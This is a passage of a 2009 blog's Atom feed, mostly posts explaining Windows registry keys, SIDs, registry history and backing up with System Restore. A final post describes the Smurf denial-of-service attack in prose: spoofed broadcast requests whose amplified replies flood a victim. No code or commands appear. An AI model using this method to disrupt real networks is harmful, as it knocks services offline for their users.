/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-9010835835283504741?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/9010835835283504741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/security-identifiers-sids.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/9010835835283504741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/9010835835283504741'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/security-identifiers-sids.html' title='Security Identifiers (SIDs)'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5448646982804374118</id><published>2009-08-02T14:22:00.000-07:00</published><updated>2009-08-02T14:34:21.995-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>HKEY_USERS [HKU]</title><content type='html'>&lt;span style="font-weight: bold;"&gt;HKEY_USERS [HKU]:&lt;/span&gt;&lt;br /&gt;Windows 95 uses this key to store the user profiles, which were previously stored in systemroot\system32\config or systemroot\profiles directory.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SUBKEYS of&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;HKEY_USERS&lt;br /&gt;&lt;/span&gt;&lt;p class="normal"&gt;&lt;span class="inlinecode"&gt;HKU&lt;/span&gt; contains at least three  subkeys:&lt;/p&gt; &lt;ul style="text-align: justify;" class="bullets"&gt;&lt;li&gt; &lt;p class="normal"&gt;&lt;span style="font-weight: bold;" class="inlinecode"&gt;.DEFAULT&lt;/span&gt; contains the per-user  settings that Windows uses to display the desktop before any user logs on to the  computer. This isn't the same thing as a default user profile, which Windows  uses to create settings for users the first time they log on to the  computer.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p class="normal"&gt;&lt;span style="font-weight: bold;" class="emphasis"&gt;SID&lt;/span&gt;, where &lt;span class="emphasis"&gt;SID&lt;/span&gt; is the &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/security-identifiers-sids.html"&gt;security identifier&lt;/a&gt; of the &lt;span class="emphasis"&gt;co&lt;/span&gt;&lt;span class="emphasis"&gt;n&lt;/span&gt;&lt;span class="emphasis"&gt;sole  user&lt;/span&gt; (the user sitting at the keyboard), contains per-user settings.  &lt;span class="inlinecode"&gt;HKCU&lt;/span&gt; is linked to this key. This key contains  settings such as the user's desktop preferences and Control Panel settings.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p class="normal"&gt;&lt;span style="font-weight: bold;" class="emphasis"&gt;SID_Classes&lt;/span&gt;, where &lt;span class="emphasis"&gt;SID&lt;/span&gt; is the security identifier of the console user,  contains per-user class registrations and file associations. Windows merges the  contents of keys &lt;span class="inlinecode"&gt;HKLM\SOFTWARE\Classes&lt;/span&gt; and &lt;span class="inlinecode"&gt;HKU\&lt;/span&gt;&lt;span class="emphasis"&gt;SID_Classes&lt;/span&gt; into &lt;span class="inlinecode"&gt;HKCR&lt;/span&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; Other subkeys you may find are :&lt;br /&gt;&lt;ul style="text-align: justify;" class="bullets"&gt;&lt;li&gt; &lt;p class="normal"&gt;S-1-5-18 is the well-known SID for the LocalSystem account.  Windows loads this account's profile when a program or service runs in the  LocalSystem account.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p class="normal"&gt;S-1-5-19 is the well-known SID for the LocalService account.  Service Control Manager uses this account to run local services that don't need  to run as the LocalSystem account.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p class="normal"&gt;S-1-5-20 is the well-known SID for the NetworkService account.  Service Control Manager uses this account to run network services that don't  need to run as the LocalSystem account.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5448646982804374118?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5448646982804374118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeyusers-hku.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5448646982804374118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5448646982804374118'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeyusers-hku.html' title='HKEY_USERS [HKU]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7401122326623203884</id><published>2009-08-02T14:19:00.000-07:00</published><updated>2009-08-02T14:22:47.869-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>HKEY_CURRENT_USER [HKCU]</title><content type='html'>&lt;span style="font-weight: bold;"&gt;HKEY_CURRENT_USER [HKCU] :&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This registry key contains the configuration information for the user that is currently logged in. The users folders, environment variables, desktop settings, network connections, printers, application preferences, screen colors, and control panel settings are stored here. This information is known as a User Profile.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SUBKEYS of HKEY_CURRENT_USER&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-weight: bold;"&gt;&lt;li&gt;AppEvents&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Associates sounds with events. For example, it associates sounds with opening menus, minimizing windows, and logging off of Windows.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Console&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Stores data for the console subsystem, which hosts all character-mode applications, including the MS-DOS command prompt. In addition, the Console key can contain subkeys for custom command windows.&lt;br /&gt;&lt;/div&gt;&lt;ul style="font-weight: bold;"&gt;&lt;li&gt;Control Panel&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Contains accessibility, regional, and desktop appearance settings. You configure most of these settings in Control Panel. However, this key contains a handful of useful settings that have no user interface; you can configure them only through the registry.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Environment&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Stores environment variables that users have set. Each value associates an environment variable with the string that Windows substitutes for the variable. The default values for these entries are in the user's profile.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Identities&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Contains one subkey for each identity in Microsoft Outlook Express. Outlook Express uses identities to allow multiple users to share a single mail client. With the Windows support for user profiles, one user's settings are separate from other users' settings, so this key is seldom necessary to use.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Keyboard Layout&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Contains information about the installed keyboard layouts.&lt;br /&gt;&lt;ul style="font-weight: bold;"&gt;&lt;li&gt;Network&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Stores information about mapped network drives. Each subkey in Network is a mapped drive to which Windows connects each time the user logs on to the computer. The subkeys' names are the drive letters to which the drives are mapped. Each drive's key contains settings used to reconnect the drive.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Printers&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Stores user preferences for printers.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Software&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Contains per-user application settings. Windows stores much of its own configuration in this key, too. Microsoft has standardized its organization so that programs store settings in HKCU\Software\Vendor\ Program\ Version\. The variable Vendor is the name of the program's publisher, the variable Program is the name of the program, and the variable Version is the program's version number. Often, as is the case with Windows, Version is simply CurrentVersion.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Volatile Environment&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Contains environment variables that were defined when the user logged on to Windows.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Other subkeys you see in HKCU are usually legacy leftovers or uninteresting. They include UNICODE Program Groups, SessionInformation, and Windows 3.1 Migration Status.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7401122326623203884?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7401122326623203884/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeycurrentuser-hkcu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7401122326623203884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7401122326623203884'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeycurrentuser-hkcu.html' title='HKEY_CURRENT_USER [HKCU]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6317318440441854684</id><published>2009-08-02T13:34:00.000-07:00</published><updated>2011-06-21T05:39:11.522-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>Brief History of Windows Registry</title><content type='html'>&lt;span style="font-weight: bold;"&gt;MS-DOS&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MS-DOS got its configuration data from Config.sys and Autoexec.bat.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Config.sys loads device drivers&lt;/li&gt;&lt;li&gt;Autoexec.bat used to run programs, set environment variables, and prepare MS-DOS for use. &lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Windows 3.0&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Windows 3.0 provided INI files for storing settings.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;INI files are text files that contain one or more sections with one or more settings in each section.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The main &lt;span style="font-weight: bold;"&gt;problems with INI files&lt;/span&gt; are that they provide no hierarchy, storing binary values in them is cumbersome, and they provide no standard for storing similar types of settings.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;INI files also cause other subtle problems, all related to the configuration file's inability to build complex relationships between applications and the operating system.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;One big problem for early versions of Windows was the sheer number of INI files that floated around on the average computer. Every application had its own INI files.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Windows 3.1&lt;/span&gt;&lt;br /&gt;Windows 3.1 introduced the registry as a tool for storing OLE (object linking and embedding) settings.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Windows 95&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Windows 95 expanded the registry into the configuration database that Windows XP and Windows Server 2003 use now.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Even though INI files are no longer necessary, you'll always find INI files, including Win.ini, on any computer, at location : C:\WINDOWS\win.ini&lt;br /&gt;&lt;/li&gt;&lt;li&gt;No more plain text .INI files splattered all over your system.&lt;/li&gt;&lt;li&gt;In today's environment, the registry replaces these .INI files. Each key in the registry is similar to bracketed headings in an .INI file.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;RELATED POST :&lt;/span&gt; &lt;a href="http://swizardb.blogspot.com/2009/08/five-keys-windows-registry-detailed.html"&gt;FIVE KEYS OF WINDOWS REGISTRY EXPLAINED&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6317318440441854684?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6317318440441854684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/brief-history-of-windows-registry.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6317318440441854684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6317318440441854684'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/brief-history-of-windows-registry.html' title='Brief History of Windows Registry'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1518015635220082857</id><published>2009-08-02T13:23:00.000-07:00</published><updated>2011-06-21T05:38:07.107-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>FIVE KEYS - Windows Registry [Detailed Explanation]</title><content type='html'>The five keys in Registry Editor are :&lt;br /&gt;&lt;ul&gt;&lt;li style="font-weight: bold;"&gt;&lt;a style="text-decoration: none;" title="HKEY_CURRENT_USER  [HKCU]" href="http://swizardb.blogspot.com/2009/08/hkeycurrentuser-hkcu.html"&gt;HKEY_CURRENT_USER  [HKCU]&lt;/a&gt;&lt;/li&gt;&lt;li style="font-weight: bold;"&gt;&lt;a style="text-decoration: none;" title="HKEY_USERS  [HKU]" href="http://swizardb.blogspot.com/2009/08/hkeyusers-hku.html"&gt;HKEY_USERS  [HKU]&lt;/a&gt;&lt;/li&gt;&lt;li style="font-weight: bold;"&gt;&lt;a style="text-decoration: none;" title="HKEY_LOCAL_MACHINE  [HKLM]" href="http://swizardb.blogspot.com/2009/08/hkeylocalmachine-hklm.html"&gt;HKEY_LOCAL_MACHINE  [HKLM]&lt;/a&gt;&lt;/li&gt;&lt;li style="font-weight: bold;"&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/hkeyclassesroot.html" title="HKEY_CLASSES_ROOT  [HKCR]"&gt;HKEY_CLASSES_ROOT  [HKCR]&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a title="HKEY_CURRENT_CONFIG  [HKCC]" style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/hkeycurrentconfig-hkcc.html"&gt;&lt;span style="font-weight: bold;"&gt;HKEY_CURRENT_CONFIG  [HKCC]&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Related Post : &lt;a href="http://swizardb.blogspot.com/2009/08/brief-history-of-windows-registry.html"&gt;BRIEF HISTORY OF WINDOWS REGISTRY&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1518015635220082857?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1518015635220082857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/five-keys-windows-registry-detailed.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1518015635220082857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1518015635220082857'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/five-keys-windows-registry-detailed.html' title='FIVE KEYS - Windows Registry [Detailed Explanation]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2319602492394368110</id><published>2009-08-02T12:44:00.000-07:00</published><updated>2009-08-02T13:20:52.348-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>Backing up Windows Registry</title><content type='html'>&lt;b&gt;This tutorial works only with Windows XP or newer.&lt;br /&gt;&lt;/b&gt;Windows 98 and ME uses an inbuilt utility 'scanreg' that back-ups the system.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Backing up the Windows XP registry&lt;/span&gt;&lt;/b&gt;&lt;p class="tab"&gt;Microsoft Windows XP includes a new feature known as &lt;i&gt;system restore&lt;/i&gt;. This great new feature enables a user to backup and restore their important system files from an earlier day. By default this feature automatically creates a backup of the system each day. If you wish to create a restore point of your system follow the below steps.&lt;/p&gt; &lt;ol class="dtab"&gt;&lt;li&gt;&lt;p&gt;Click Start, Programs, Accessories, System Tools, System Restore&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Select the option to Create a restore point&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Click next and follow the remainder steps.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p class="tab"&gt;&lt;b&gt;&lt;a name="10"&gt;&lt;/a&gt;&lt;/b&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Restoring the Windows XP registry&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="tab"&gt;To restore the system back to an earlier point follow the below steps.&lt;/p&gt; &lt;ol class="dtab"&gt;&lt;li&gt;&lt;p&gt;Click Start, Programs, Accessories, System Tools, System Restore&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Select the &lt;i&gt;Restore my computer to an earlier time&lt;/i&gt; option and click next&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Select the day and the restore point you wish to restore and click next.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;DEMO &lt;/span&gt;&lt;span style="font-size:85%;"&gt;[Click to Enlarge]&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.pctipstricks.com/pictures/Launching-System-Restore-in-XP.jpg"&gt;&lt;img style="width: 294px; height: 223px;" alt="Click to enlarge" title="Click to enlarge" src="http://www.pctipstricks.com/pictures/Launching-System-Restore-in-XP.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ramanathan.files.wordpress.com/2007/10/system-restore-1.gif"&gt;&lt;img style="width: 294px; height: 222px;" alt="Click to enlarge" title="Click to enlarge" src="http://ramanathan.files.wordpress.com/2007/10/system-restore-1.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mvps.org/marksxp/WindowsXP/systemrestore/systemrestore.jpg"&gt;&lt;img style="width: 296px; height: 213px;" alt="Click to enlarge" title="Click to enlarge" src="http://www.mvps.org/marksxp/WindowsXP/systemrestore/systemrestore.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In Windows VISTA, the following dialog comes up!!&lt;br /&gt;&lt;a href="http://www.windowsvistauserguide.com/vista2/system_restore/system_restore.JPG"&gt;&lt;img style="width: 307px; height: 246px;" alt="Click to enlarge" title="Click to enlarge" src="http://www.windowsvistauserguide.com/vista2/system_restore/system_restore.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2319602492394368110?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2319602492394368110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/backing-up-windows-registry.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2319602492394368110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2319602492394368110'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/backing-up-windows-registry.html' title='Backing up Windows Registry'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1799995503210294117</id><published>2009-08-02T12:41:00.000-07:00</published><updated>2009-08-08T02:09:03.001-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>Windows Registry Elaborated</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;If you donot understand the first paragraph, read about &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/brief-history-of-windows-registry.html"&gt;BRIEF HISTORY OF WINDOWS REGISTRY &lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;[optional] !!&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;One of the hot new features introduced with Windows 95 was the Windows Registry. The Windows Registry offered a centralized database-like location to store application and system settings. No more plain text .INI files splattered all over your system. Instead, issue a few easy API calls and your application settings are safely nestled away deep inside the registry hive.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Windows stores configuration data in the registry. The registry is a  hierarchical database, which can be described as a central repository for  configuration data.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="text-align: justify;"&gt;The registry contains extended information, settings, and various other values for the the Microsoft Operating Systems. Within the registry you can control, modify and hack a great majority of the operating system features and tools.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Before going into the Registry and changing or deleting anything, we ALWAYS recommend that you &lt;a title="backing up windows registry" href="http://swizardb.blogspot.com/2009/08/backing-up-windows-registry.html" style="color: rgb(0, 0, 0); text-decoration: none;"&gt;backup the registry&lt;/a&gt;.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;To view the registry of a Windows Operating System, one would use the Registry Editor tool.   Type &lt;span style="font-weight: bold;"&gt;Start&gt;Run&gt;regedit&lt;/span&gt;, or just type in &lt;span style="font-weight: bold;"&gt;regedit &lt;/span&gt;in Windows 7's Start Menu&lt;span style="font-weight: bold;"&gt; search box&lt;/span&gt;. There are two versions of Registry Editor. &lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img style="width: 346px; height: 185px;" src="http://www.dashmiri.net/images/regedit.png" /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Regedt32.exe&lt;/span&gt; has the most menu items and more choices for the menu items. You can search for keys and subkeys in the registry.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Regedit.exe&lt;/span&gt; enables you to search for strings, values, keys, and subkeys and export keys to .reg files. This feature is useful if you want to find specific data.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.siliconguide.com/tips/win95/mtu/regedit.gif"&gt;&lt;img src="http://www.siliconguide.com/tips/win95/mtu/regedit.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For ease of use, the Registry is divided into five separate structures that represent the Registry database in its entirety. These five groups are known as &lt;span style="font-weight: bold;"&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/five-keys-windows-registry-detailed.html" title="Read this Post on Windows Registry Keys"&gt;KEYS&lt;/a&gt;&lt;/span&gt;.&lt;br /&gt;Read this Post on &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/five-keys-windows-registry-detailed.html"&gt;Windows Registry Keys&lt;/a&gt; to be able to know about how to hack them.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1799995503210294117?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1799995503210294117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/windows-registry.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1799995503210294117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1799995503210294117'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/windows-registry.html' title='Windows Registry Elaborated'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6504165656987398025</id><published>2009-07-31T02:11:00.000-07:00</published><updated>2009-08-05T07:44:03.653-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>SMURF Attack</title><content type='html'>&lt;p align="justify"&gt;A broadcast server is a server capable of duplicating a message and sending it to all machines present on the same network. The "smurf" technique is based on the use of broadcast servers to paralyze a network &lt;/p&gt;&lt;p align="justify"&gt;The scenario of such an attack is as follows:&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;the attacking machine sends forged packets that contain the spoofed source address of the attacker's  intended victim (i.e. providing the IP address of a target machine) to one or more broadcast servers.&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;the broadcast server passes on the request to the entire network&lt;br /&gt;&lt;/li&gt;&lt;li&gt;all of the network's machines send a response to the broadcast server&lt;br /&gt;&lt;/li&gt;&lt;li&gt;the broadcast server redirects the responses to the target machine.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;As such, when the attacking machine sends a request to several broadcast servers located on different networks, all of the responses from computers on the various networks will be routed to the target machine.&lt;br /&gt;&lt;/div&gt;&lt;p align="center"&gt;&lt;img src="http://static.commentcamarche.net/en.kioskea.net/pictures/attaques-images-smurf.png" alt="Denial-of-service by SMURF" /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p align="justify"&gt;In this way the bulk of the attacker's work involves finding a list of broadcast servers and falsifying the response address in order to direct them to the target machine.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6504165656987398025?l=swizardb.blogspot.com' 